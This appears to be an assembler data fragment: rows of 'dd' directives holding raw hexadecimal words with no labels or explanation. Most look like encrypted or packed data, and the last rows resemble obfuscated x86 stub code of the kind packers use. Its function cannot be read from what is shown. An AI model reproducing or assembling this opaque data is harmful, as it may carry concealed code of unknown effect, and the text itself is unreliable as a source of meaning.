dd 2BC9C3B5h, 0C6B08A42h, 0A14D6487h, 0D62929BAh, 2B746ED0h
dd 0D8B58F49h, 6321DB2h, 5AC96B9Fh, 2690E452h, 73CD60CEh
dd 0C6A0C2C8h, 0BAA10EA3h, 3B156829h, 4D6487C6h, 2929BAA1h
dd 0E39FD2D6h, 0F02B97B1h, 603A9DEAh, 7E33567Ch, 0F829B9D9h
dd 0FEF5FAA5h, 0D4B6D6F8h, 2BE153B0h, 0C3B58F49h, 0D86F1DC9h
dd 8F492BB2h, 0B6B2D8B5h, 0B7846B97h, 682D84A7h, 0F64929BAh
dd 0D437B8F2h, 878B36F0h, 4AA1C3A5h, 0A5C7CD50h, 1DE153B0h
dd 0E1D0F332h, 9D29BAA0h, 0F9B1984Ah, 0A3C6D1F3h, 29BAA10Eh
dd 0C33B1568h, 88492BC9h, 42FCE2A1h, 0E99B463Dh, 4D444903h
dd 0ECC6C8A2h, 544B500Ah, 0C49E014Eh, 0FE2026E0h, 9AC66F1Dh
dd 9709F7D7h, 99FC0008h, 739AC75Ah, 0A5C8272Dh, 29BAA00Ch
dd 2190B372h, 5D29BAA0h, 0B872580Ah, 3711BCB3h, 422BB2D8h
dd 0A387858Ah, 0A1575A7Dh, 0CC1F29BAh, 391E1C21h, 83E0A181h
dd 0B0371940h, 492BE153h, 0C9C3B58Fh, 472BA4E6h, 0B2D8B38Dh
dd 472B9FEDh, 0E6EBA386h, 0C66A44EFh, 0DC7AD87h, 9B161108h
dd 0E329BAA0h, 0A0B00124h, 73C629BAh, 2960C2C8h, 0A0EAC7EAh
dd 419429BAh, 0E8EEA68Fh, 34472BC6h, 8BE4B25Ah, 89630E6Ah
dd 0CFE2B2D8h, 6729BAA0h, 0EAEFA98Dh, 33CBEDF3h, 0E153B059h
dd 0B38D472Bh, 87C6C9C3h, 0BAA14D64h, 0D0D62929h, 4A31F2D6h
dd 0EB968D92h, 0E2B2D811h, 29BAA0CFh, 0EEA68D67h, 0CAECF2E9h
dd 0ECC65933h, 0D1464C06h, 472B027Ch, 0C9C3B38Dh, 19F3321Dh
dd 82797E36h, 0BAA12A87h, 0D5B62729h, 1984F6F0h, 0C7E9EF42h
dd 4F07ECC6h, 2BD6FC49h, 0D8B38D47h, 0C66F1DB2h, 0A14D6487h
dd 0D62929BAh, 583271D0h, 0BEB5BA74h, 0A14075B8h, 8A3629BAh
dd 38F937C7h, 0C5EC0FDCh, 0B129B9FCh, 1801B35Eh, 0B9645B60h
dd 4D8CC3DFh, 0BAA0872Ah, 969CEF29h, 86472B74h, 0ECE3E8A2h
dd 0ECC66741h, 0E5474D05h, 69AC6EBh, 2D693834h, 0EDA58E40h
dd 0ACEBF1E8h, 0B46C532Dh, 422B8CAEh, 0B2D8B08Ah, 33B255E2h
dd 391BF556h, 7D837A7Fh, 8A422B5Bh, 2BC9C3B0h, 0E7A18746h
dd 0B2D8623Ch, 0B08A422Bh, 52FDB2D8h, 0A0C1F013h, 6ABD29BAh
dd 53B04264h, 46478A4h, 0C64AA462h, 3337B664h, 7188C11Fh
dd 0BA12634Eh, 0C2C81B29h, 22462BA0h, 0BAA0B2FFh, 22949F29h
dd 965903C2h, 0E7C16CBFh, 422BC9C3h, 0C9C3B08Ah, 0B48E462Bh
dd 94E2B2D8h, 0EF5139CEh, 868B452Bh, 0E5EAA488h, 434800E7h
dd 93F0254Ch, 0B0CCA650h, 462BE153h, 0C9C3B48Eh, 4F07ECC6h
dd 534D534Ah, 0C6DCB66Eh, 474D05ECh, 0ACE2D4FAh, 877FA4A2h
dd 53B05933h, 35462BE1h, 0A5655ADDh, 748B3654h, 0CF00D348h
dd 0BC2C30E8h, 0A3C5CBBAh, 87C6C9C3h, 0BAA14D64h, 0D0D62929h
dd 5F39F1D6h, 0ECC6B2D8h, 0A7614708h, 18FCF6FCh, 0B2D8845Eh
dd 888D472Bh, 0EAEFA78Ah, 5DA0FDBEh, 53B0D9B3h, 8E462BE1h
dd 2BC9C3B4h, 0CBD33546h, 3FBEB85Bh, 0B2D8BA94h, 0A4A2ACE2h
dd 52FD877Fh, 0D5DA9478h, 0B0B6D8DEh, 462BE153h, 8CC3B48Eh
dd 0A0872A4Dh, 9CEF29BAh, 462B7496h, 41ECA487h, 0E2B2D867h
dd 5139CE94h, 2652FDEFh, 0AFF4F8BAh, 0D2F4FA23h, 2BE153B0h
dd 0C3B48E46h, 8A422BC9h, 9B75D8B0h, 1F8FDB7h, 0ECC6D9FBh
dd 50474C06h, 0A09B1639h, 90E329BAh, 0B2F0478Ah, 0C6835633h
dd 0A14D6487h, 0D62929BAh, 2EEDD6D0h, 978E934Bh, 4AA9D5ECh
dd 0D1B5F4B3h, 0C3ACCED4h, 6487C6C9h, 29BAA14Dh, 34ECCF29h
dd 0A4898389h, 0B2D812ECh, 254887C6h, 29BAA08Ch, 0DA49FF2h
dd 6929BAA1h, 2D161016h, 0CED38B6Eh, 0D8522CD7h, 0B05933B2h
dd 462BE153h, 0ECC6B48Eh, 554C5109h, 1DF3ED4Fh, 2BB2D86Fh
dd 0C3B08A42h, 2362EDC9h, 0BAA0B100h, 747ACD29h, 0A0CFE252h
dd 33A429BAh, 0E153B059h, 462BA4E6h, 0B2D8B48Eh, 0B690482Bh
dd 0B99B75D8h, 0B6D7F9FFh, 0E153B0D4h, 0A387462Bh, 0C3643EE9h
dd 0C1EAE2C9h, 2B5D29BAh, 0C6B28C44h, 4B5109ECh, 6F1DD8FEh
dd 5B5B87C6h, 0FD5503C6h, 282DE7CBh, 3D808631h, 29BA1B74h
dd 0C3DDB70Ah, 24482BC9h, 0BAA0B001h, 0C873C629h, 0E2B2D8EEh
dd 36BFEFD8h, 90482BABh, 2BC9C3B6h, 0D8B69048h, 0E11EE2B2h
dd 0FD1973B9h, 5ECC68Fh, 4B51484Dh, 0F0CA79D6h, 2B4D530Bh
dd 7990482Bh, 0A09A173Ah, 240929BAh, 3C42956Ch, 2BC9C31Ah
dd 0D8B69048h, 0B07DE2B2h, 0FDFAECB8h, 0E153B08Fh, 0B690482Bh
dd 482BC9C3h, 75D8B690h, 0F9FEB69Bh, 2BDAFC02h, 0C6B28C44h
dd 20680E9Ah, 0B0B63E23h, 583D174Eh, 9EA49BA0h, 90482B7Ch
dd 4D8CC3B6h, 0BAA0872Ah, 969CEF29h, 7ECC674h, 4D534A4Fh
dd 87C6C715h, 0BAA14D64h, 0D0D62929h, 0BAA1248Dh, 8FFD5729h
dd 0CAA453B0h, 27252AE4h, 0DAE08B45h, 2BA4E6B8h, 0D8B58F49h
dd 0C66F1DB2h, 0BAA10EA3h, 0C6E92829h, 29BAA0EBh, 1B3A4093h
dd 0C9C3EEC8h, 0CCDB79E2h, 492BCE10h, 1639788Fh, 29BAA09Bh
dd 567990E3h, 29BAA15Bh, 0A8CAD023h, 6F1DC9C3h, 0A112A3C6h
dd 0C87429BAh, 0EB95EDDBh, 0C39D2376h, 0B6A88D1h, 13CBAE60h
dd 94775168h, 0F0D9D7DCh, 913C3338h, 7D80758Dh, 7D836B30h
dd 2BB2D85Bh, 39788F49h, 0BAA09B16h, 8A90E329h, 0FDB2D868h
dd 0E153B08Fh, 0FA06321Dh, 0A63EF4A0h, 0C6416369h, 0BAA112A3h
dd 47217429h, 0A10EA3C6h, 0E92829BAh, 0BAA0EBC6h, 3A409329h
dd 0C6EEC81Bh, 494E08ECh, 0F0EA4C52h, 4D05ECC6h, 514B5148h
dd 0C3DBB56Fh, 0C66F1DC9h, 0BAA10EA3h, 3B156829h, 0E34F9AC6h
dd 0DDC1DA61h, 0C6648AD7h, 0BCDF03ECh, 29BAA0F5h, 7E832E81h
dd 0A0878187h, 0B2D80EE8h, 87C65933h, 0BAA14D64h, 0EBC6E929h
dd 9329BAA0h, 2B0F6940h, 0CA756C71h, 80F24FC4h, 87C66F1Dh
dd 41D02D5Bh, 8A903B17h, 0B9E46A47h, 0E7C11429h, 0A10EA3C6h
dd 156829BAh, 0D9C9C33Bh, 0F3F38F4Bh, 0B66424CFh, 0C2449AC6h
dd 509A7676h, 5B5F9068h, 90965511h, 3618F231h, 7E33767Ch
dd 0F829BA05h, 75D8CBA5h, 0F9FEB69Bh, 0C6DAFC02h, 4A4E08ECh
dd 0C8C804B6h, 96D9DF53h, 10CCBEC5h, 8A422B3Ah, 0E8A08785h
dd 99F6B7E3h, 0B0D2AC56h, 321DE153h, 26713C06h, 2B3102AEh
dd 0EA3C609h, 6829BAA1h, 0A12B86A9h, 5329BAh, 0A3C67B55h
dd 29BAA10Eh, 0C33B1568h, 0C66F1DC9h, 0A14D6487h, 0D62929BAh
dd 2B5D83D0h, 3DC23344h, 0D31CFD7Ch, 91959202h, 0E6DF51AFh
dd 0E5C790FBh, 1AF49F4Ah, 9FEDC9C3h, 0B3869AC6h, 62B43FB8h
dd 0BB98195Ch, 2BDB29B9h, 88868B45h, 0EFE6EBA3h, 9CA15B3Dh
dd 0D92479A6h, 53B0552Fh, 2867E6E1h, 0BAA0AC05h, 9178D229h
dd 6282ED9h, 0B2D86F1Dh, 738A422Bh, 5A9FB099h, 98D574A1h
dd 61838934h, 2A4D8CC3h, 29BAA087h, 72772F14h, 4B51A47Bh
dd 6487C629h, 29BAA14Dh, 0D6AD654Eh, 0A0837D83h, 75D80EE8h
dd 0F8FDB79Bh, 0EDD9FB01h, 90482B9Fh, 2BC9C3B6h, 0D8B28C44h
dd 8F492BB2h, 0BA9E78h, 75D8D8FAh, 7194B89Bh, 29BAA140h
dd 3338E336h, 0E9A18A3Ch, 0C5E7EDE4h, 3FD2D1E2h, 9AC6A656h
dd 0E93C969h, 999399D9h, 0C323FDB7h, 8F492BC9h, 9B75D8B5h
dd 5C14F7B6h, 0B1B56057h, 7AE5B245h, 65878D56h, 0E433442Bh
dd 7A64A9Ah, 0A60FA2C5h, 146729B9h, 68A7BE69h, 0F7F2AC8Eh
dd 29B9A5BAh, 496B71C4h, 0CBB28CC3h, 2BEB0D13h, 0C3B58F49h
dd 6487C6C9h, 29BAA14Dh
dd 0D6D0D629h, 0D85D37EFh, 0C32BE2B2h, 0F7087A6Fh, 0E153B095h
dd 0A085442Bh, 41ECE3E8h, 2BC9C367h, 0D8B28C44h, 0C3F298B2h
dd 33442BC9h, 0D20EC730h, 0C09A4558h, 9AC6B2D8h, 0CB5F114Dh
dd 73B6BC2Fh, 85C00655h, 83422BD0h, 0EAE1E69Eh, 583C3A3Fh
dd 0E831999Eh, 3F21488Bh, 2BE153B0h, 0B4FD2044h, 0CA29BAA0h
dd 29D48E70h, 0A88D677Eh, 0EEF4EBF0h, 0C6C9C3CCh, 4C5109ECh
dd 72554F55h, 1015CFB3h, 0D8946E19h, 0F6B79B75h, 0A6AB5610h
dd 5F0AC4A8h, 9AC63759h, 5E057BDBh, 3BF3DA90h, 0A9908A90h
dd 0B2D817F1h, 53B05933h, 89482BE1h, 0F1E8EDA7h, 0C9C36C46h
dd 60C69AC6h, 2A88F7F8h, 8B432A24h, 0C59AC6B1h, 8DD8F745h
dd 0EDE7494Fh, 0BA8982E2h, 452BF529h, 9AC6B18Bh, 0ADD1F7BFh
dd 0E3303666h, 21225480h, 678B2649h, 0A0F329BAh, 0A70F209Ch
dd 321D7FA1h, 0B6BB7358h, 0C697B9BFh, 0FC9AD87h, 0A0EBC609h
dd 275329BAh, 753DA711h, 113036DDh, 0C9C3E4BEh, 0BAA0CFE2h
dd 4E286729h, 0FAB7B26Ch, 8429BAA0h, 2B092B31h, 0C6B18B45h
dd 63490AECh, 96F8FEA9h, 0E9A3855Fh, 482BC1E3h, 87C6B690h
dd 0BAA14D64h, 0AD654E29h, 0DB937CD6h, 2E34DFD6h, 452BBBE1h
dd 87C6B18Bh, 66BF385Bh, 0D085DF5h, 29BA83A4h, 348187DAh
dd 0B059330Eh, 482BE153h, 0C9C3B690h, 868A422Bh, 8990F456h
dd 924000DDh, 0ECC6B2D8h, 4C464C06h, 0C3D2AC66h, 15CDB28Ch
dd 9FEDED0Fh, 0BAA0CFE2h, 5933A429h, 2A009AC6h, 0BE046C2Ah
dd 94EEEE4h, 0CBD17CDAh, 704AF956h, 0ABCDD38Bh, 6F1DA4E6h
dd 482BB2D8h, 173A7990h, 29BAA09Ah, 698B91E4h, 6F1DB2D8h
dd 0A112A3C6h, 0F53429BAh, 0BAA0DFD2h, 92449729h, 0F8EFF4AEh
dd 0A680D3F2h, 0ECC6C9C3h, 0F4BDE006h, 8A29BAA0h, 90878C37h
dd 0F5AD908Ah, 651D04DEh, 1016CEB3h, 0C6C9C3EEh, 7332549Ah
dd 0B9FB6150h, 0C6CA1D29h, 60C71B9h, 0F5D985C7h, 252DA55Ah
dd 0D840EEAEh, 8D472BB2h, 0F4B39C76h, 584F540Eh, 0ABB1A8ADh
dd 0E2C9C389h, 29BAC148h, 21472B3Bh, 5DC665F5h, 0A055DF2h
dd 29B9FBA7h, 0F7D17CCFh, 6F1DB2D8h, 500AECC6h, 6DACEB4Ah
dd 0BAA1674Ah, 98523429h, 25686EC1h, 29BAA08Ch, 0CEF486B2h
dd 0A83665EEh, 563083A2h, 9FEDC9C3h, 0B38D472Bh, 472BC9C3h
dd 87C6B38Dh, 2647785Bh, 332E309Bh, 29B9D77Eh, 529FA5F8h
dd 0F79AC62Ch, 98229DFh, 0F5BCFF05h, 7E29BA31h, 53B05933h
dd 6F4265A4h, 729BAA1h, 0C68CAEB4h, 40242E9Ah, 0FA008189h
dd 88621C00h, 4C06ECC6h, 374C5047h, 26754941h, 0FCF6585Eh
dd 0A187462Bh, 0A159587Bh, 0D22529BAh, 8B657C27h, 0F3EAEFA9h
dd 0B2D8CBEDh, 4E08ECC6h, 0C94E5249h, 0F2EE6364h, 1B0F3F9h
dd 7A29BA57h, 4F07ECC6h, 534D534Ah, 739FB66Eh, 6A74514Ah
dd 30E15449h, 0D518F4F8h, 440B0A26h, 0C36EE82Bh, 0C9C39BBDh
dd 0B38D472Bh, 462BB2D8h, 0B2D8B48Eh, 53B05933h, 8D472BE1h
dd 0D04A4A76h, 64DA25F4h, 0C9C33C5Eh, 9E87462Bh, 0E3E1E6h
dd 0A14C4348h, 0C9C31CF6h, 1D34472Bh, 0E133347h, 0D8FFD984h
dd 6321DB2h, 33F21AF8h, 3E606634h, 0A10EA3C6h, 156829BAh
dd 853D24FEh, 61838980h, 133675D8h, 29BAA09Eh, 5D7F85D8h
dd 0B38D472Bh, 66608CC3h, 0BFE210A2h, 2B4D6F75h, 20CE8E46h
dd 0A10EA3C6h, 156829BAh, 894124FEh, 65878D84h, 6F1DC9C3h
dd 0A4E6B2D8h, 75D86F1Dh, 0F5FBB59Bh, 89482BD3h, 42FCE2A3h
dd 0F09B463Dh, 631DFFD9h, 0C9C33B5Dh, 0B58F492Bh, 133675D8h
dd 29BAA09Eh, 5D7F85D8h, 0ECC69FEDh, 4C464C06h, 0B2C5A96Ah
dd 385428EAh, 49F49F51h, 0B28CC36Fh, 170E13CBh, 85B07913h
dd 0F5FBBFA8h, 8862EDD3h, 0EDE4E9A1h, 0CFE2C5E7h, 6729BAA0h
dd 0EDF2AA8Dh, 0FDCEF0F6h, 0E153B08Fh, 503B67E6h, 6121FE07h
dd 2B4C6E74h, 0D8B28C44h, 8D472BB2h, 87C61FCDh, 0BAA14D64h
dd 0D0D62929h, 0A1634E71h, 0C81B29BAh, 0E2C9C3EEh, 29BAA0CFh
dd 33442BA4h, 28CBBA73h, 2A04AFEAh, 4C06ECC6h, 0E84A5047h
dd 8F492BEEh, 0E2B2D8B5h, 0CF7CBE0h, 0F01C3353h, 473CB602h
dd 2A4C5230h, 2BE153B0h, 0B1002349h, 0CD29BAA0h, 0C3F5CF7Ah
dd 8F492BC9h, 0C6B2D8B5h, 99EB679Ah, 3B4176B6h, 0C810C5F8h
dd 8FFD4E5Fh, 2BE153B0h, 9E788F49h, 29F6A7BAh, 8A860730h
dd 0DDE3DADFh, 2BC9C3BBh, 0D8B58F49h, 0FFB99B75h, 0C9EC03FAh
dd 29BAA0E8h, 13353B8Eh, 0FD20442Bh, 29BAA0B4h, 0F2CC77CAh
dd 500AECC6h, 14E544Bh, 0C65933DBh, 830D599Ah, 9399180Eh
dd 2B4FC11Eh, 0C3B58F49h, 8F492BC9h, 0E2B2D8B5h, 5FC8DBDBh
dd 0B0593358h, 492BE153h, 0A0B10023h, 7ACD29BAh, 0FCDEB8CFh
dd 40463D42h, 2BC9C31Eh, 39788F49h, 0BAA09B16h, 912DB629h
dd 97B53017h, 33566DC0h, 29B9E57Eh, 7D9FA5F8h, 0E0E2B2D8h
dd 530CF7CBh, 858A422Bh, 0F9E0A187h, 29919641h, 604083E0h
dd 0E153B0F2h, 0B58F492Bh, 442BC9C3h, 0C9C3B28Ch, 788F492Bh
dd 0FA00BA9Eh, 9B75D8D8h, 5A12F5B4h, 6018FDAFh, 3C5E645Bh
dd 4D6487C6h, 2929BAA1h, 248DD0D6h, 1A29BAA1h, 0A0F9B8DBh
dd 328529BAh, 59330A2Ch, 2BE153B0h, 0C3B58F49h, 0D86F1DC9h
dd 8F492BB2h, 9B75D8B5h, 6448FAB2h, 1D82A4AAh, 12A3C66Fh
dd 7429BAA1h, 0C9C34721h, 788F492Bh, 0FC01B99Eh, 0C3DDFF05h
dd 0C66F1DC9h, 0E202B89Ah, 0BADB86A1h, 37393D4Dh, 0DC947981h
dd 2F35E0D7h, 0ECC6BCE2h, 0AB634807h, 79BBFA00h, 4B03ECC6h
dd 2B09C345h, 49858A42h, 68823A23h, 455E7F4Dh, 9DFCD1D6h
dd 0B5629F9h, 2F2A3C08h, 29BBF77Eh, 72E10D24h, 0E39B7E36h
dd 8D221ADFh, 3A3FF9DBh, 2DB73D43h, 0E9A18647h, 2842EDE4h
dd 0B1B67056h, 0CDBEEA75h, 117477C2h, 4B62A5ABh, 5729BBBAh
dd 9180EF7Bh, 1AD64677h, 0E70190EDh, 48464B05h, 5BDA463h
dd 8069435Ah, 0C6CCC3C8h, 0DC947B79h, 4B05EBC5h, 0F1C0E346h
dd 8D29B988h, 3C898F3Ah, 5F19FFD9h, 255D635Ah, 0BA606E9Ah
dd 9E8D1B5Ah, 5FDC4498h, 0DAB02548h, 4706D643h, 0BC248D24h
dd 0EB96E929h, 0F61BB6D1h, 0F6CF29F8h, 0E5C33994h, 428EBCA5h
dd 6A000000h, 0DCAEC882h, 51233DF5h, 0C89AB46Ch, 3B0D27DFh
dd 30859F59h, 0F6B09287h, 6C260ADCh, 0E59D8052h, 5913F9CBh
dd 51745F3Fh, 21D31060h, 0C60AA416h, 484E08ECh, 0FB086405h
dd 38F29h, 24250000h, 89432B66h, 0E6A08684h, 4800E3E1h
dd 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h, 25DDC2C0h
dd 833B2220h, 16686D7Eh, 0E907E746h, 0FFF8EF2Bh, 8B604221h
dd 0C9CAFE0Fh, 0AEA80DF8h, 148A4970h, 0ABA80DF9h, 0EC75EAD5h
dd 54A80DF9h, 0BA8A4976h, 157AE5Dh, 0DC8A4976h, 0ABA80DFEh
dd 0A775EAD5h, 77A80DFEh, 218A4977h, 0F1A80DFFh, 9B8A4977h
dd 0ABA80DFFh, 2575EAD5h, 0C648D42Fh, 0C00312CDh, 534FC015h
dd 0D6C490A7h, 0D1215645h, 426D8491h, 0C70DD42Fh, 0C00312CDh
dd 534FC01Dh, 0D67790A7h, 0D1215645h, 426D84EDh, 0C0FCD42Fh
dd 0C00312CDh, 534FC069h, 0D12390A7h, 0D1215645h, 426D84F9h
dd 0C045D42Fh, 0C00312CDh, 534FC075h, 0D0BC90A7h, 0D1215645h
dd 426D84F5h, 0C1DFD42Fh, 0C00312CDh, 534FC041h, 0D03290A7h
dd 0D1215645h, 426D84CDh, 0C151D42Fh, 0C00312CDh, 534FC049h
dd 0D3B890A7h, 0D1215645h, 426D84C5h, 5012B8C3h, 0CEDF152Ah
dd 0A86CD24Eh, 458AFD4Ah
dd 0D5F251A2h, 0A2188FC0h, 0A8ED96A5h, 458A152Ah, 67A02429h
dd 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h, 0CE75EAD5h
dd 693AAE63h, 848DF50Ch, 11AB5342h, 55FFEA22h, 0ABA4245Dh
dd 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh
dd 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch, 660351A2h
dd 0EE27BFEAh, 9414DB2Fh, 947512CDh, 0D9020112h, 0A24AA9A0h
dd 0EC79AEA5h, 41AE51A1h, 0E822DC09h, 0BA8DF2EAh, 0DF103773h
dd 0C821732Ah, 0B368ED28h, 0FD5BEA2Dh, 508C152Bh, 0F9009881h
dd 0ABAFB662h, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0A2194FC0h
dd 5CDDDAA5h, 828668A1h, 54A8ADE7h, 0BACC152Ah, 0B4875830h
dd 0CE529E2Dh, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h, 0A24AA9A0h
dd 0D79AEA5h, 2320949Ah, 328C551Ah, 6E218481h, 29215DDFh
dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 458A15C2h
dd 0BE290BA2h, 426D869Bh, 0DFA02429h, 4D1957h, 54A8515Eh
dd 0D775532Ah, 53487EABh, 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h
dd 0D9F9FA31h, 0A24AA9A0h, 0D79AEA5h, 2320949Ah, 328C651Ah
dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h, 953BFDA2h
dd 97B91DC9h, 0DE049191h, 454A38F2h, 0A82851A2h, 5E0E1AD5h
dd 0EDA851A2h, 458A1523h, 862DA055h, 45869025h, 0A32851A2h
dd 8E4B7332h, 972337AAh, 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh
dd 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh
dd 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h, 458AD507h
dd 0AB54D1A2h, 45939125h, 5D1151A2h, 0B28A152Ah, 5B7AD453h
dd 458A1FAFh, 5610E0A2h, 0EF4B93E2h, 7F039191h, 38031957h
dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h
dd 4D1957h, 54A8515Eh, 9D00B92Ah, 0D4A7B222h, 860085E1h
dd 0E822DC08h, 0BA8DF2EAh, 0FEF8E173h, 85369FA7h, 85575645h
dd 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h, 54AFE9A2h
dd 0D775152Ah, 5348779Fh, 0C8204526h, 0B368ED28h, 0F55BEA2Dh
dd 949BFB2Bh, 2E853186h, 50AC5962h, 0EFAEA580h, 0DDA42C89h
dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah
dd 93A42C29h, 458AE96Fh, 0FE0451A2h, 6A8387D5h, 8C235642h
dd 0EF491786h, 9414DB2Fh, 947512CDh, 0BD28E9C4h, 8600BE4Ch
dd 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h, 902BBD29h
dd 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h, 4C18EA80h
dd 0DFAFB18Dh, 8558B9E2h, 0E832DC08h, 0BA8DF2EAh, 94103771h
dd 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h
dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h
dd 0D775BF86h, 53487EABh, 7726DDA1h, 0CE25FB63h, 426DD596h
dd 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h, 1123305Eh
dd 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h
dd 54A8515Eh, 7732732Ah, 0D903376Bh, 0A24AA9B0h, 327BAEA5h
dd 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh, 8743E96Fh
dd 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h, 54A8ADE7h
dd 0FDEC152Ah, 0FFCEB824h, 85368FA7h, 87575645h, 320A09Ah
dd 0CE25FB0Eh, 426DD596h, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h
dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah
dd 0D5F251A2h, 0A21C97C0h, 0A8ED96A5h, 458A152Ah, 0DFA02429h
dd 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah
dd 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h
dd 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h
dd 0CE2559D7h, 426D849Dh, 0DA32DCF1h, 0BA8DF2B8h, 0A8EDD871h
dd 458A42C3h, 58DDAEA2h, 0C88260D5h, 0B3399638h, 0DF07462Dh
dd 534FC32Ch, 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh
dd 0D4598FA7h, 0D9FB5645h, 0A2189BB0h, 0DD7BAEA5h, 5863E96Fh
dd 0ABA851A2h, 3075195Fh, 8B32DCAAh, 168DF2BBh, 0C626CB2Fh
dd 967512CDh, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h
dd 3044BAh, 16EB00h, 4 dup(0)
dd 1000000h, 3B401h, 6A07E700h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 1299C350h, 0E5690D7Ah
dd 20A98D8Bh, 8A5007E0h, 240489F4h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 0E1C35343h, 8BA33EB3h, 0B31E37B9h
dd 6E919h, 0A6700000h, 394AB55Ah, 6A006Ah, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 430F7DC3h
dd 7BC23C41h, 8B0F0BEFh, 0F006AC8h, 9D89F8B7h, 7E024F5h
dd 98BC858Dh, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0D1275CC3h, 2C35BD8Bh, 669007E0h
dd 509118B9h, 9E8h, 0E8175700h, 14F799AAh, 4CBF06F8h, 5A2406B2h
dd 6810F90h, 2B000000h, 0E0290D9Dh, 6AEFB507h, 0E2E38000h
dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 11E9C2C3h, 0A000000h, 0C61DFB42h, 0AC6D40F9h
dd 70CEF703h, 0DC1EE7DDh, 344195FFh, 6A07E0h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B6354C3h
dd 0E02FC19Dh, 600E907h, 958B0000h, 7E02DA5h, 0E8h, 0ED815D00h
dd 7E798C1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 8EC35545h, 9509608Eh, 7E01D41h, 98F78166h, 16686192h
dd 0FFC42FBh, 38Fh, 0D98B6600h, 8A240481h, 8003BD14h, 95FFD2CFh
dd 7E018A9h, 974FB58Dh, 816607E7h, 0C75A57F3h, 67655206h
dd 79BD316Dh, 0C707E032h, 6E6F0446h, 6A6C63h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD8916C3h
dd 7E01049h, 0CE9h, 8C641C00h, 6B08D4F4h, 0A41BC4FBh, 0AE974h
dd 0E1000000h, 55DF4FA1h, 0FECB52D8h, 610846C7h, 66007373h
dd 6AD08Bh, 485958Bh, 858D07E0h, 7E7974Fh, 90DEB70Fh, 5750CE8Bh
dd 905ACE8Bh, 10ED950Bh, 95FF07E0h, 7E02531h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 92C35242h, 23C56F2Ch
dd 0C00BB32Ah, 4F840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 2CF271C3h, 465E94Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 54A652C3h, 9ED355F0h, 8B3BA8A6h, 0E007B595h
dd 0A31C6807h, 830FB817h, 10h, 0BE9h, 40FB2700h, 0F2308E5Fh
dd 0BDF1EED5h, 10240481h, 6A47E85Eh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 197DC353h
dd 22C6F436h, 0EB0BDBEBh, 5E9h, 4D394700h, 95FF413Fh, 7E018A9h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5EC35545h
dd 6A35DCC4h, 95F859ECh, 2E259D89h, 13E807E0h, 98000000h
dd 96B1408Dh, 1681A2B7h, 0B6990B71h, 3B1958BBh, 0EA8A7A74h
dd 4FB58D5Bh, 6A07E797h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 0D0D2C353h, 0F9B79314h
dd 0D61715A7h, 383106C7h, 0F5803634h, 446C707h, 31342D37h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 6C35141h
dd 8A46DD89h, 0DE59EA83h, 0BE94Bh, 0F1D10000h, 494C20BEh
dd 0ADBED4F2h, 14E9E3h, 0BFDB0000h, 9F3F39Dh, 0AEE8C76h
dd 45AC2F6Ch, 161E21D0h, 46C786A0h, 8, 0A9958900h, 8007E02Fh
